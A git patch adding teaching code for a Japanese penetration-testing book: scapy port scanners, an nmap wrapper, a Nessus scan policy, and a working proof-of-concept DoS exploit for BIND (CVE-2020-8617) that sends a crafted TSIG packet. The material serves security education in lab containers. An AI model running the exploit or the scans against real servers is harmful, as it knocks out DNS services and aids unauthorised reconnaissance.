From 075510fc2994029aa038fa0310e471e64afb187e Mon Sep 17 00:00:00 2001 From: tkmru Date: Thu, 31 Aug 2023 11:06:08 +0900 Subject: [PATCH] add files --- .github/workflows/typos.yml | 18 + README.md | 11 +- _typos.toml | 7 + code/chapter02/CVE-2020-8617.py | 26 + code/chapter02/sniff-icmp.py | 10 + code/chapter02/tcp-connect-scan-by-socket.py | 17 + code/chapter02/tcp-connect-scan-v1.py | 36 + code/chapter02/tcp-connect-scan-v2.py | 61 + code/chapter02/tcp-syn-scan.py | 21 + code/chapter03/nmap-xml2csv.rb | 50 + code/chapter03/portscan-tcp-all.sh | 61 + code/chapter04/for-pentest-book.nessus | 5530 +++++++++++++++++ code/chapter05/shellcode-runner.go | 46 + code/chapter06/config | 4 + code/chapter06/libsniffer.c | 12 + code/chapter06/settings.vim | 3 + code/exec-pentester-bash.ps1 | 3 + code/exec-pentester-bash.sh | 3 + code/remove-all-images-and-containers.ps1 | 4 + code/remove-all-images-and-containers.sh | 4 + code/restart-all-containers.ps1 | 3 + code/restart-all-containers.sh | 3 + code/stop-all-containers.ps1 | 3 + code/stop-all-containers.sh | 3 + containers/README.md | 27 + containers/bind/Dockerfile | 46 + containers/bind/config/example.com.zone | 20 + containers/bind/config/named | 2 + containers/bind/config/named.conf | 79 + containers/bind/config/named.root | 92 + containers/bind/src/bind-9.12.4.tar.gz | Bin 0 -> 7936647 bytes containers/compose.yaml | 98 + containers/log4j/Dockerfile | 11 + containers/log4j/LICENSE | 201 + containers/log4j/build.gradle | 25 + .../log4j/gradle/wrapper/gradle-wrapper.jar | Bin 0 -> 59536 bytes .../gradle/wrapper/gradle-wrapper.properties | 5 + containers/log4j/gradlew | 234 + containers/log4j/gradlew.bat | 89 + containers/log4j/settings.gradle | 1 + .../vulnerableapp/MainController.java | 22 + .../VulnerableAppApplication.java | 13 + .../src/main/resources/application.properties | 0 containers/nginx/Dockerfile | 8 + containers/nginx/git/COMMIT_EDITMSG | 1 + containers/nginx/git/HEAD | 1 + containers/nginx/git/config | 10 + containers/nginx/git/description | 1 + .../nginx/git/hooks/applypatch-msg.sample | 15 + containers/nginx/git/hooks/commit-msg.sample | 24 + .../nginx/git/hooks/fsmonitor-watchman.sample | 114 + containers/nginx/git/hooks/post-update.sample | 8 + .../nginx/git/hooks/pre-applypatch.sample | 14 + containers/nginx/git/hooks/pre-commit.sample | 49 + containers/nginx/git/hooks/pre-push.sample | 53 + containers/nginx/git/hooks/pre-rebase.sample | 169 + containers/nginx/git/hooks/pre-receive.sample | 24 + .../nginx/git/hooks/prepare-commit-msg.sample | 42 + containers/nginx/git/hooks/update.sample | 128 + containers/nginx/git/index | Bin 0 -> 209 bytes containers/nginx/git/info/exclude | 6 + containers/nginx/git/logs/HEAD | 2 + containers/nginx/git/logs/refs/heads/master | 2 + .../48/04f15267d1cc21d770986565ddd28638cd2a59 | Bin 0 -> 127 bytes .../5d/308e1d060b0c387d452cf4747f89ecb9935851 | Bin 0 -> 18 bytes .../6b/6c227760b851735fdf3cb20be699576fd3a82b | Bin 0 -> 49 bytes .../a0/c005c313d72ecc4051925b3d72d1eb04b31df9 | 1 + .../a8/9a3057575d4b3e761da3f3fde0c91503901293 | Bin 0 -> 174 bytes .../b4/3365601deda38ead8e75a666ffdbd3773ea1bd | Bin 0 -> 18 bytes containers/nginx/git/refs/heads/master | 1 + containers/nginx/index.html | 18 + containers/nginx/vulnerable.conf | 18 + containers/pentester/Dockerfile | 76 + .../pentester/code/chapter02/CVE-2020-8617.py | 26 + .../chapter02/sniff-icmp-by-arp-spoofing.py | 71 + .../pentester/code/chapter02/sniff-icmp.py | 10 + .../chapter02/tcp-connect-scan-by-socket.py | 17 + .../code/chapter02/tcp-connect-scan-v1.py | 36 + .../code/chapter02/tcp-connect-scan-v2.py | 61 + .../pentester/code/chapter02/tcp-syn-scan.py | 21 + .../code/chapter03/exclude-hosts.txt | 1 + .../pentester/code/chapter03/nmap-xml2csv.rb | 50 + .../code/chapter03/portscan-tcp-all.sh | 61 + .../pentester/code/chapter03/target-hosts.txt | 1 + .../code/chapter05/shellcode-runner.go | 46 + containers/pentester/code/chapter06/config | 4 + .../pentester/code/chapter06/libsniffer.c | 12 + .../pentester/code/chapter06/settings.vim | 3 + containers/postgres/Dockerfile | 8 + containers/postgres/README.md | 22 + containers/postgres/sql/init.sql | 15 + containers/ssh/Dockerfile | 29 + 92 files changed, 8178 insertions(+), 5 deletions(-) create mode 100644 .github/workflows/typos.yml create mode 100644 _typos.toml create mode 100644 code/chapter02/CVE-2020-8617.py create mode 100644 code/chapter02/sniff-icmp.py create mode 100644 code/chapter02/tcp-connect-scan-by-socket.py create mode 100644 code/chapter02/tcp-connect-scan-v1.py create mode 100644 code/chapter02/tcp-connect-scan-v2.py create mode 100644 code/chapter02/tcp-syn-scan.py create mode 100755 code/chapter03/nmap-xml2csv.rb create mode 100755 code/chapter03/portscan-tcp-all.sh create mode 100644 code/chapter04/for-pentest-book.nessus create mode 100644 code/chapter05/shellcode-runner.go create mode 100644 code/chapter06/config create mode 100644 code/chapter06/libsniffer.c create mode 100644 code/chapter06/settings.vim create mode 100755 code/exec-pentester-bash.ps1 create mode 100755 code/exec-pentester-bash.sh create mode 100755 code/remove-all-images-and-containers.ps1 create mode 100755 code/remove-all-images-and-containers.sh create mode 100755 code/restart-all-containers.ps1 create mode 100755 code/restart-all-containers.sh create mode 100755 code/stop-all-containers.ps1 create mode 100755 code/stop-all-containers.sh create mode 100644 containers/README.md create mode 100644 containers/bind/Dockerfile create mode 100644 containers/bind/config/example.com.zone create mode 100644 containers/bind/config/named create mode 100644 containers/bind/config/named.conf create mode 100644 containers/bind/config/named.root create mode 100644 containers/bind/src/bind-9.12.4.tar.gz create mode 100644 containers/compose.yaml create mode 100644 containers/log4j/Dockerfile create mode 100644 containers/log4j/LICENSE create mode 100644 containers/log4j/build.gradle create mode 100644 containers/log4j/gradle/wrapper/gradle-wrapper.jar create mode 100644 containers/log4j/gradle/wrapper/gradle-wrapper.properties create mode 100755 containers/log4j/gradlew create mode 100644 containers/log4j/gradlew.bat create mode 100644 containers/log4j/settings.gradle create mode 100644 containers/log4j/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java create mode 100644 containers/log4j/src/main/java/fr/christophetd/log4shell/vulnerableapp/VulnerableAppApplication.java create mode 100644 containers/log4j/src/main/resources/application.properties create mode 100644 containers/nginx/Dockerfile create mode 100644 containers/nginx/git/COMMIT_EDITMSG create mode 100644 containers/nginx/git/HEAD create mode 100644 containers/nginx/git/config create mode 100644 containers/nginx/git/description create mode 100755 containers/nginx/git/hooks/applypatch-msg.sample create mode 100755 containers/nginx/git/hooks/commit-msg.sample create mode 100755 containers/nginx/git/hooks/fsmonitor-watchman.sample create mode 100755 containers/nginx/git/hooks/post-update.sample create mode 100755 containers/nginx/git/hooks/pre-applypatch.sample create mode 100755 containers/nginx/git/hooks/pre-commit.sample create mode 100755 containers/nginx/git/hooks/pre-push.sample create mode 100755 containers/nginx/git/hooks/pre-rebase.sample create mode 100755 containers/nginx/git/hooks/pre-receive.sample create mode 100755 containers/nginx/git/hooks/prepare-commit-msg.sample create mode 100755 containers/nginx/git/hooks/update.sample create mode 100644 containers/nginx/git/index create mode 100644 containers/nginx/git/info/exclude create mode 100644 containers/nginx/git/logs/HEAD create mode 100644 containers/nginx/git/logs/refs/heads/master create mode 100644 containers/nginx/git/objects/48/04f15267d1cc21d770986565ddd28638cd2a59 create mode 100644 containers/nginx/git/objects/5d/308e1d060b0c387d452cf4747f89ecb9935851 create mode 100644 containers/nginx/git/objects/6b/6c227760b851735fdf3cb20be699576fd3a82b create mode 100644 containers/nginx/git/objects/a0/c005c313d72ecc4051925b3d72d1eb04b31df9 create mode 100644 containers/nginx/git/objects/a8/9a3057575d4b3e761da3f3fde0c91503901293 create mode 100644 containers/nginx/git/objects/b4/3365601deda38ead8e75a666ffdbd3773ea1bd create mode 100644 containers/nginx/git/refs/heads/master create mode 100644 containers/nginx/index.html create mode 100644 containers/nginx/vulnerable.conf create mode 100644 containers/pentester/Dockerfile create mode 100644 containers/pentester/code/chapter02/CVE-2020-8617.py create mode 100644 containers/pentester/code/chapter02/sniff-icmp-by-arp-spoofing.py create mode 100644 containers/pentester/code/chapter02/sniff-icmp.py create mode 100644 containers/pentester/code/chapter02/tcp-connect-scan-by-socket.py create mode 100644 containers/pentester/code/chapter02/tcp-connect-scan-v1.py create mode 100644 containers/pentester/code/chapter02/tcp-connect-scan-v2.py create mode 100644 containers/pentester/code/chapter02/tcp-syn-scan.py create mode 100644 containers/pentester/code/chapter03/exclude-hosts.txt create mode 100755 containers/pentester/code/chapter03/nmap-xml2csv.rb create mode 100755 containers/pentester/code/chapter03/portscan-tcp-all.sh create mode 100644 containers/pentester/code/chapter03/target-hosts.txt create mode 100644 containers/pentester/code/chapter05/shellcode-runner.go create mode 100644 containers/pentester/code/chapter06/config create mode 100644 containers/pentester/code/chapter06/libsniffer.c create mode 100644 containers/pentester/code/chapter06/settings.vim create mode 100644 containers/postgres/Dockerfile create mode 100644 containers/postgres/README.md create mode 100644 containers/postgres/sql/init.sql create mode 100644 containers/ssh/Dockerfile diff --git a/.github/workflows/typos.yml b/.github/workflows/typos.yml new file mode 100644 index 0000000..69a2d67 --- /dev/null +++ b/.github/workflows/typos.yml @@ -0,0 +1,18 @@ +name: typos + +on: + push: + branches: [ main ] + pull_request: + branches: [ main ] + +jobs: + run: + name: Spell Check with Typos + runs-on: ubuntu-latest + steps: + - name: Checkout Actions Repository + uses: actions/checkout@v2 + + - name: Check spelling of files in repository + uses: crate-ci/typos@master diff --git a/README.md b/README.md index cdaa138..5257d66 100644 --- a/README.md +++ b/README.md @@ -6,6 +6,8 @@ --- +![typos workflow](https://github.com/oreilly-japan/pentest-starting-with-port-scanner/actions/workflows/typos.yml/badge.svg) + 本リポジトリはオライリー・ジャパン発行書籍『[ポートスキャナ自作ではじめるペネトレーションテスト](https://www.oreilly.co.jp/books/9784814400423/)』のサポートサイトです。 @@ -19,11 +21,10 @@ ### ファイル構成 -★浅見コメ★サンプルです -|フォルダ名 |説明 | -|:-- |:-- | -|chapter5 |5章で使用するコードやデータ | -|chapter7 |7章で使用するコード | +|フォルダ名 |説明 | +|:-- |:-- | +|[code](./code) |サンプルコードや設定ファイルが格納されているフォルダ | +|[containers](./containers) |演習で用いるDockerコンテナに関連するファイルが格納されているフォルダ | コードやデータの解説は本書籍をご覧ください。 diff --git a/_typos.toml b/_typos.toml new file mode 100644 index 0000000..e494a19 --- /dev/null +++ b/_typos.toml @@ -0,0 +1,7 @@ +[type.root] +extend-glob = ['*.root'] +check-file = false + +[type.nessus] +extend-glob = ['*.nessus'] +check-file = false \ No newline at end of file diff --git a/code/chapter02/CVE-2020-8617.py b/code/chapter02/CVE-2020-8617.py new file mode 100644 index 0000000..ad068c4 --- /dev/null +++ b/code/chapter02/CVE-2020-8617.py @@ -0,0 +1,26 @@ +#!/usr/bin/python3 +# coding: UTF-8 + +import sys +from scapy.all import DNS, DNSQR, IP, sr1, UDP, DNSRRTSIG, DNSRROPT + +args = sys.argv + +if len(args) == 1: + print('Specify the target IP address in the command line argument') + sys.exit() + +# DNSのパケットを作成する +tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", + rclass=255, mac_len=0, mac_data="", time_signed=0, + fudge=300, error=16) +dns_layer = DNS(rd=1, ad=1, + qd=DNSQR(qname='www.example.com'), ar=tsig) +dns_req = IP(dst=args[1])/UDP(dport=53)/dns_layer + +response = sr1(dns_req, timeout=3) +if response is None: + print('Maybe the attack is successful!') +else: + print('The attack failed...') + print(response) diff --git a/code/chapter02/sniff-icmp.py b/code/chapter02/sniff-icmp.py new file mode 100644 index 0000000..833420e --- /dev/null +++ b/code/chapter02/sniff-icmp.py @@ -0,0 +1,10 @@ +#!/usr/bin/python3 +# coding: UTF-8 + +from scapy.all import sniff + +# sniff関数の引数に指定するコールバック関数 +def print_packet(packet): + packet.show() + +sniff(filter='icmp', prn=print_packet, count=5) diff --git a/code/chapter02/tcp-connect-scan-by-socket.py b/code/chapter02/tcp-connect-scan-by-socket.py new file mode 100644 index 0000000..85297d5 --- /dev/null +++ b/code/chapter02/tcp-connect-scan-by-socket.py @@ -0,0 +1,17 @@ +#!/usr/bin/python3 +# coding: UTF-8 + +import socket +import sys + +target_ip = sys.argv[1] +target_port = int(sys.argv[2]) + +s = socket.socket() +errno = s.connect_ex((target_ip, target_port)) +s.close() + +if errno == 0: + print(f"TCP port {target_port} is open") +else: + print(f"TCP port {target_port} is closed") \ No newline at end of file diff --git a/code/chapter02/tcp-connect-scan-v1.py b/code/chapter02/tcp-connect-scan-v1.py new file mode 100644 index 0000000..77aecbe --- /dev/null +++ b/code/chapter02/tcp-connect-scan-v1.py @@ -0,0 +1,36 @@ +#!/usr/bin/python3 +# coding: UTF-8 + +import sys +from scapy.all import IP, TCP, sr1 + +target_ip = sys.argv[1] +target_port = int(sys.argv[2]) + +ip_layer = IP(dst=target_ip) + +# SYNパケットを作成する +syn_packet = ip_layer/TCP(dport=target_port, flags='S') + +# SYNパケットを送信し、レスポンスを取得する +print('Send SYN packet:') +response_packet = sr1(syn_packet) +print(f'Response: {response_packet}') +print('-----------------------------------') + +# SYN/ACKパケットが返ってきた場合、ACKパケットを送信する +if (response_packet.haslayer(TCP) and + response_packet[TCP].flags == 'SA'): + tcp_layer = TCP(dport=target_port, flags='A', + ack=response_packet.seq + 1, + seq=response_packet.ack) + ack_packet = ip_layer/tcp_layer + print('Send ACK packet:') + response_after_handshake = sr1(ack_packet, timeout=3) + print(f'Response: {response_after_handshake}') + print('-----------------------------------') + print(f'TCP port {target_port} is open') + +# RSTパケットが返ってきた場合、ポートは閉じていると判断する +else: + print(f'TCP port {target_port} is closed') diff --git a/code/chapter02/tcp-connect-scan-v2.py b/code/chapter02/tcp-connect-scan-v2.py new file mode 100644 index 0000000..e5f3120 --- /dev/null +++ b/code/chapter02/tcp-connect-scan-v2.py @@ -0,0 +1,61 @@ +#!/usr/bin/python3 +# coding: UTF-8 + +import sys +import time + +from scapy.all import IP, TCP, sr1 + +target_ip = sys.argv[1] +target_port = int(sys.argv[2]) + +ip_layer = IP(dst=target_ip) + +# SYNパケットを作成する +syn_packet = ip_layer/TCP(dport=target_port, flags='S') + +# SYNパケットを送信し、レスポンスを取得する +print('Send SYN packet:') +response_packet = sr1(syn_packet) +print(f'Response: {response_packet}') +print('-----------------------------------') + +# SYN/ACKパケットが返ってきた場合、ACKパケットを送信する +if (response_packet.haslayer(TCP) and + response_packet[TCP].flags == 'SA'): + ack_tcp_layer = TCP(dport=target_port, flags='A', + ack=response_packet.seq + 1, + seq=response_packet.ack) + ack_packet = ip_layer/ack_tcp_layer + print('Send ACK packet:') + sr1(ack_packet, timeout=3) + print('-----------------------------------') + print(f'TCP port {target_port} is open') + + # 接続を終了するためにFINパケットを送信する + print('Send FIN packet:') + fin_tcp_layer = TCP(dport=target_port, flags='FA', + ack=response_packet.seq + 1, + seq=response_packet.ack) + fin_packet = ip_layer/fin_tcp_layer + response_fin_packet = sr1(fin_packet, timeout=3) + print(f'Response: {response_fin_packet}') + + # FINパケットが返ってきた場合、ACKパケットを送信する + if (response_fin_packet.haslayer(TCP) and + response_fin_packet[TCP].flags == 'FA'): + print('Send ACK packet:') + ack_after_fin_tcp_layer = TCP( + dport=target_port, flags='A', + ack=response_fin_packet.seq + 1, + seq=response_fin_packet.ack + ) + ack_packet_after_fin = ip_layer/ack_after_fin_tcp_layer + sr1(ack_packet_after_fin, timeout=3) + print('Connection closed') + else: + print('Failed to close connection') + +# RSTパケットが返ってきた場合、ポートは閉じていると判断する +else: + print(f'TCP port {target_port} is closed') diff --git a/code/chapter02/tcp-syn-scan.py b/code/chapter02/tcp-syn-scan.py new file mode 100644 index 0000000..3d36b37 --- /dev/null +++ b/code/chapter02/tcp-syn-scan.py @@ -0,0 +1,21 @@ +#!/usr/bin/python3 +# coding: UTF-8 + +import sys +from scapy.all import IP, TCP, sr1 + +target_ip = sys.argv[1] +target_port = int(sys.argv[2]) + +# SYNパケットを作成する +syn_packet = IP(dst=target_ip)/TCP(dport=target_port, flags="S") + +# パケットを送信し、レスポンスを取得する +response_packet = sr1(syn_packet) + +# SYN/ACKパケットが返ってきた場合は、ポートが開いていると判断 +if (response_packet.haslayer(TCP) and + response_packet[TCP].flags == "SA"): + print(f"TCP port {target_port} is open") +else: + print(f"TCP port {target_port} is closed") \ No newline at end of file diff --git a/code/chapter03/nmap-xml2csv.rb b/code/chapter03/nmap-xml2csv.rb new file mode 100755 index 0000000..a6b71c9 --- /dev/null +++ b/code/chapter03/nmap-xml2csv.rb @@ -0,0 +1,50 @@ +require 'nmap/xml' +require 'optparse' + +nmap_file = ARGV[0] + +output_file = 'portscan-result.csv' +opt = OptionParser.new +opt.on('-o', '--output ', 'output CSV File') do |val| + output_file = val +end +opt.on('-h', '--help', 'show help') { + puts opt + exit +} +opt.parse(ARGV) + +puts '[+] parse xml file:' +puts nmap_file +puts '-----------------------------------------------------' + +result = '' +Nmap::XML.open(nmap_file) do |xml| + xml.each_host do |host| + if host.status.to_s == 'up' + row = false + host.each_port do |port| + if port.state.to_s == 'open' + if !row + result += host.ip + "\t" + row = true + end + result += "#{port.number}(#{port.service}), " + end + end + if result.end_with?('), ', ')') + result = result.slice(0...-2) + end + if row + result += "\n" + end + end + end +end +puts result +File.open(output_file, 'w') do |f| + f.puts(result) +end + +puts '-----------------------------------------------------' +puts '[+] Output: ' + output_file diff --git a/code/chapter03/portscan-tcp-all.sh b/code/chapter03/portscan-tcp-all.sh new file mode 100755 index 0000000..314ec41 --- /dev/null +++ b/code/chapter03/portscan-tcp-all.sh @@ -0,0 +1,61 @@ +#!/bin/sh +set -eu + +# ヘルプメッセージを定義 +usage() { + echo "Usage: ${0##*/} -T<0-5> \ + " +} + +# コマンドライン引数がなにも無い場合にエラーメッセージを出力する +if [ "$#" -eq 0 ]; then + echo "Error: Target hosts must be specified" + usage + exit 1 +fi + +if [ "$1" = "-h" ]; then + usage + exit 0 +fi + +today=`date +%Y%m%d` # フォルダ名に使用するための日付を取得する +# 結果を格納するフォルダがなければ作成する +if [ ! -d ./results/${today} ]; then + mkdir -p ./results/${today} +fi + +# 出力するファイル名に使用するための日時を取得する +now=`date +%Y%m%d_%H%M%S` + +# 引数を変数に格納 +timing_template=$1 +hosts=`cat $2` +echo "Target: ${hosts}" + +if [ "$#" -eq 3 ]; then + exclude_hosts=`cat $3` + echo "Exclude Hosts: ${exclude_hosts}" + exclude_option="--exclude ${exclude_hosts}" +else + exclude_option="" +fi + +for h in $hosts +do + # フォルダ名に使用するためCIDR表記の/を_に置換 + host_name=`echo $h | tr "/" "_"` + # TCP SYN Pingによってホストを発見し、SYNスキャンを行う + # 結果はXMLファイルとTXTファイルで出力する + # SYNスキャンで結果がうまく取れない場合、-sSを-sTに変更し、 + # TCP Connectスキャンに切り替える + echo "Now Launching: sudo nmap ${exclude_option} -v -n \ +-p- -PS22,80,443 -sS --host-timeout 30m \ +-oX ./results/${today}/${host_name}_syn_ping_${now}.xml \ +-oN ./results/${today}/${host_name}_syn_ping_${now}.txt ${h}" + + sudo nmap ${timing_template} ${exclude_option} -v -n \ +-p- -PS22,80,443 -sS --host-timeout 30m \ +-oX ./results/${today}/${host_name}_syn_ping_${now}.xml \ +-oN ./results/${today}/${host_name}_syn_ping_${now}.txt ${h} +done diff --git a/code/chapter04/for-pentest-book.nessus b/code/chapter04/for-pentest-book.nessus new file mode 100644 index 0000000..2a9dca4 --- /dev/null +++ b/code/chapter04/for-pentest-book.nessus @@ -0,0 +1,5530 @@ + + + + +private +taichi.kotake + + + +10180 +Ping the remote host +Ping the remote host[checkbox]:Interpret ICMP unreach from gateway +checkbox +Interpret ICMP unreach from gateway +no +no + + +10180 +Ping the remote host +Ping the remote host[checkbox]:Fast network discovery +checkbox +Fast network discovery +no +no + + +10180 +Ping the remote host +Ping the remote host[checkbox]:Test the local Nessus host +checkbox +Test the local Nessus host +yes +yes + + +10180 +Ping the remote host +Ping the remote host[checkbox]:Log live hosts in the report +checkbox +Log live hosts in the report +no +yes + + +10180 +Ping the remote host +Ping the remote host[checkbox]:Make the dead hosts appear in the report +checkbox +Make the dead hosts appear in the report +no +no + + +10180 +Ping the remote host +Ping the remote host[checkbox]:Do an applicative UDP ping (DNS,RPC...) +checkbox +Do an applicative UDP ping (DNS,RPC...) +no +no + + +10180 +Ping the remote host +Ping the remote host[entry]:Number of retries (ICMP) : +entry +Number of retries (ICMP) : +2 +2 + + +10180 +Ping the remote host +Ping the remote host[checkbox]:Do an ICMP ping +checkbox +Do an ICMP ping +yes +yes + + +10180 +Ping the remote host +Ping the remote host[checkbox]:Do a TCP ping +checkbox +Do a TCP ping +yes +yes + + +10180 +Ping the remote host +Ping the remote host[checkbox]:Do an ARP ping +checkbox +Do an ARP ping +yes +yes + + +10180 +Ping the remote host +Ping the remote host[entry]:TCP ping destination port(s) : +entry +TCP ping destination port(s) : +built-in +built-in + + +10335 +Nessus TCP scanner +Nessus TCP scanner[radio]:Firewall detection : +radio +Firewall detection : +Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) + + +10662 +Web mirroring +Web mirroring[checkbox]:Follow dynamic pages : +checkbox +Follow dynamic pages : +no + + +10662 +Web mirroring +Web mirroring[entry]:Excluded items regex : +entry +Excluded items regex : +/server_privileges\.php|logout + + +10662 +Web mirroring +Web mirroring[entry]:Start page : +entry +Start page : +/ + + +10662 +Web mirroring +Web mirroring[entry]:Maximum depth : +entry +Maximum depth : +6 + + +10662 +Web mirroring +Web mirroring[entry]:Number of pages to mirror : +entry +Number of pages to mirror : +1000 + + +10870 +Login configurations +Login configurations[checkbox]:Only use Kerberos authentication for SMB +checkbox +Only use Kerberos authentication for SMB +no + + +10870 +Login configurations +Login configurations[checkbox]:Only use NTLMv2 +checkbox +Only use NTLMv2 +no +yes + + +10870 +Login configurations +Login configurations[checkbox]:Never send SMB credentials in clear text +checkbox +Never send SMB credentials in clear text +yes +yes + + +10870 +Login configurations +Login configurations[entry]:Additional SMB domain (optional) (3) : +entry +Additional SMB domain (optional) (3) : + + + + +10870 +Login configurations +Login configurations[password]:Additional SMB password (3) : +password +Additional SMB password (3) : + + + + +10870 +Login configurations +Login configurations[entry]:Additional SMB account (3) : +entry +Additional SMB account (3) : + + + + +10870 +Login configurations +Login configurations[entry]:Additional SMB domain (optional) (2) : +entry +Additional SMB domain (optional) (2) : + + + + +10870 +Login configurations +Login configurations[password]:Additional SMB password (2) : +password +Additional SMB password (2) : + + + + +10870 +Login configurations +Login configurations[entry]:Additional SMB account (2) : +entry +Additional SMB account (2) : + + + + +10870 +Login configurations +Login configurations[entry]:Additional SMB domain (optional) (1) : +entry +Additional SMB domain (optional) (1) : + + + + +10870 +Login configurations +Login configurations[password]:Additional SMB password (1) : +password +Additional SMB password (1) : + + + + +10870 +Login configurations +Login configurations[entry]:Additional SMB account (1) : +entry +Additional SMB account (1) : + + + + +10870 +Login configurations +Login configurations[radio]:SMB password type : +radio +SMB password type : +Password;LM Hash;NTLM Hash + + +10870 +Login configurations +Login configurations[entry]:SMB domain (optional) : +entry +SMB domain (optional) : + + + + +10870 +Login configurations +Login configurations[password]:SMB password : +password +SMB password : + + + + +10870 +Login configurations +Login configurations[entry]:SMB account : +entry +SMB account : + + + + +10870 +Login configurations +Login configurations[password]:IPMI password (sent in clear) : +password +IPMI password (sent in clear) : + + + + +10870 +Login configurations +Login configurations[entry]:IPMI account : +entry +IPMI account : + + + + +10870 +Login configurations +Login configurations[password]:IMAP password (sent in clear) : +password +IMAP password (sent in clear) : + + + + +10870 +Login configurations +Login configurations[entry]:IMAP account : +entry +IMAP account : + + + + +10870 +Login configurations +Login configurations[password]:POP3 password (sent in clear) : +password +POP3 password (sent in clear) : + + + + +10870 +Login configurations +Login configurations[entry]:POP3 account : +entry +POP3 account : + + + + +10870 +Login configurations +Login configurations[password]:POP2 password (sent in clear) : +password +POP2 password (sent in clear) : + + + + +10870 +Login configurations +Login configurations[entry]:POP2 account : +entry +POP2 account : + + + + +10870 +Login configurations +Login configurations[entry]:FTP writeable directory : +entry +FTP writeable directory : +/incoming + + +10870 +Login configurations +Login configurations[password]:FTP password (sent in clear) : +password +FTP password (sent in clear) : +nessus@nessus.org + + +10870 +Login configurations +Login configurations[entry]:FTP account : +entry +FTP account : +anonymous + + +10870 +Login configurations +Login configurations[password]:NNTP password (sent in clear) : +password +NNTP password (sent in clear) : + + + + +10870 +Login configurations +Login configurations[entry]:NNTP account : +entry +NNTP account : + + + + +10870 +Login configurations +Login configurations[password]:HTTP password (sent in clear) : +password +HTTP password (sent in clear) : + + + + +10870 +Login configurations +Login configurations[entry]:HTTP account : +entry +HTTP account : + + + + +10917 +SMB Scope +SMB Scope[checkbox]:Request information about the domain +checkbox +Request information about the domain +yes +no + + +11038 +SMTP settings +SMTP settings[entry]:To address : +entry +To address : +postmaster@[AUTO_REPLACED_IP] + + +11038 +SMTP settings +SMTP settings[entry]:From address : +entry +From address : +nobody@example.edu + + +11038 +SMTP settings +SMTP settings[entry]:Third party domain : +entry +Third party domain : +example.edu + + +11149 +HTTP login page +HTTP login page[checkbox]:Abort web application tests if login fails +checkbox +Abort web application tests if login fails +no + + +11149 +HTTP login page +HTTP login page[checkbox]:Case insensitive regex +checkbox +Case insensitive regex +no +no + + +11149 +HTTP login page +HTTP login page[checkbox]:Match regex on HTTP headers +checkbox +Match regex on HTTP headers +no +no + + +11149 +HTTP login page +HTTP login page[checkbox]:Invert test (disconnected if regex matches) +checkbox +Invert test (disconnected if regex matches) +no +no + + +11149 +HTTP login page +HTTP login page[entry]:Authenticated regex : +entry +Authenticated regex : + + + + +11149 +HTTP login page +HTTP login page[entry]:Follow 30x redirections (# of levels) : +entry +Follow 30x redirections (# of levels) : +2 +0 + + +11149 +HTTP login page +HTTP login page[entry]:Check authentication on page : +entry +Check authentication on page : + + + + +11149 +HTTP login page +HTTP login page[entry]:Re-authenticate delay (seconds) : +entry +Re-authenticate delay (seconds) : + + + + +11149 +HTTP login page +HTTP login page[checkbox]:Automated login page search +checkbox +Automated login page search +no + + +11149 +HTTP login page +HTTP login page[radio]:Login form method : +radio +Login form method : +POST;GET +POST + + +11149 +HTTP login page +HTTP login page[entry]:Login form fields : +entry +Login form fields : +user=%USER%&pass=%PASS% + + +11149 +HTTP login page +HTTP login page[entry]:Login form : +entry +Login form : + + + + +11149 +HTTP login page +HTTP login page[entry]:Login page : +entry +Login page : +/ + + +11219 +Nessus SYN scanner +Nessus SYN scanner[radio]:Firewall detection : +radio +Firewall detection : +Automatic (normal);Disabled (softer);Do not detect RST rate limitation (soft);Ignore closed ports (aggressive) +Automatic (normal) + + +12288 +Global variable settings +Global variable settings[entry]:Java ARchive Detection Path : +entry +Java ARchive Detection Path : + + + + +12288 +Global variable settings +Global variable settings[checkbox]:Enable plugin debugging +checkbox +Enable plugin debugging +no +no + + +12288 +Global variable settings +Global variable settings[checkbox]:Enable CRL checking (connects to Internet) +checkbox +Enable CRL checking (connects to Internet) +no +yes + + +12288 +Global variable settings +Global variable settings[checkbox]:Enumerate all SSL ciphers +checkbox +Enumerate all SSL ciphers +yes +yes + + +12288 +Global variable settings +Global variable settings[password]:SSL password for SSL key : +password +SSL password for SSL key : + + + + +12288 +Global variable settings +Global variable settings[file]:SSL key to use : +file +SSL key to use : + + + + +12288 +Global variable settings +Global variable settings[file]:SSL CA to trust : +file +SSL CA to trust : + + + + +12288 +Global variable settings +Global variable settings[file]:SSL certificate to use : +file +SSL certificate to use : + + + + +12288 +Global variable settings +Global variable settings[entry]:HTTP User-Agent +entry +HTTP User-Agent +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) + + +12288 +Global variable settings +Global variable settings[radio]:Report paranoia +radio +Report paranoia +Normal;Avoid false alarms;Paranoid (more false alarms) +Normal + + +12288 +Global variable settings +Global variable settings[radio]:Report verbosity +radio +Report verbosity +Normal;Quiet;Verbose +Verbose + + +12288 +Global variable settings +Global variable settings[checkbox]:Thorough tests (slow) +checkbox +Thorough tests (slow) +no +no + + +12288 +Global variable settings +Global variable settings[checkbox]:Enable experimental scripts +checkbox +Enable experimental scripts +no + + +12288 +Global variable settings +Global variable settings[radio]:Network type +radio +Network type +Mixed (use RFC 1918);Private LAN;Public WAN (Internet) + + +12288 +Global variable settings +Global variable settings[checkbox]:Enable CGI scanning +checkbox +Enable CGI scanning +no +no + + +12288 +Global variable settings +Global variable settings[checkbox]:Do not log in with user accounts not specified in the policy +checkbox +Do not log in with user accounts not specified in the policy +yes +no + + +12288 +Global variable settings +Global variable settings[checkbox]:Probe services on every port +checkbox +Probe services on every port +yes +yes + + +14273 +SSH settings +SSH settings[password]:Additional SSH password (5) : +password +Additional SSH password (5) : + + + + +14273 +SSH settings +SSH settings[entry]:Additional SSH user name (5) : +entry +Additional SSH user name (5) : + + + + +14273 +SSH settings +SSH settings[password]:Additional SSH password (4) : +password +Additional SSH password (4) : + + + + +14273 +SSH settings +SSH settings[entry]:Additional SSH user name (4) : +entry +Additional SSH user name (4) : + + + + +14273 +SSH settings +SSH settings[password]:Additional SSH password (3) : +password +Additional SSH password (3) : + + + + +14273 +SSH settings +SSH settings[entry]:Additional SSH user name (3) : +entry +Additional SSH user name (3) : + + + + +14273 +SSH settings +SSH settings[password]:Additional SSH password (2) : +password +Additional SSH password (2) : + + + + +14273 +SSH settings +SSH settings[entry]:Additional SSH user name (2) : +entry +Additional SSH user name (2) : + + + + +14273 +SSH settings +SSH settings[password]:Additional SSH password (1) : +password +Additional 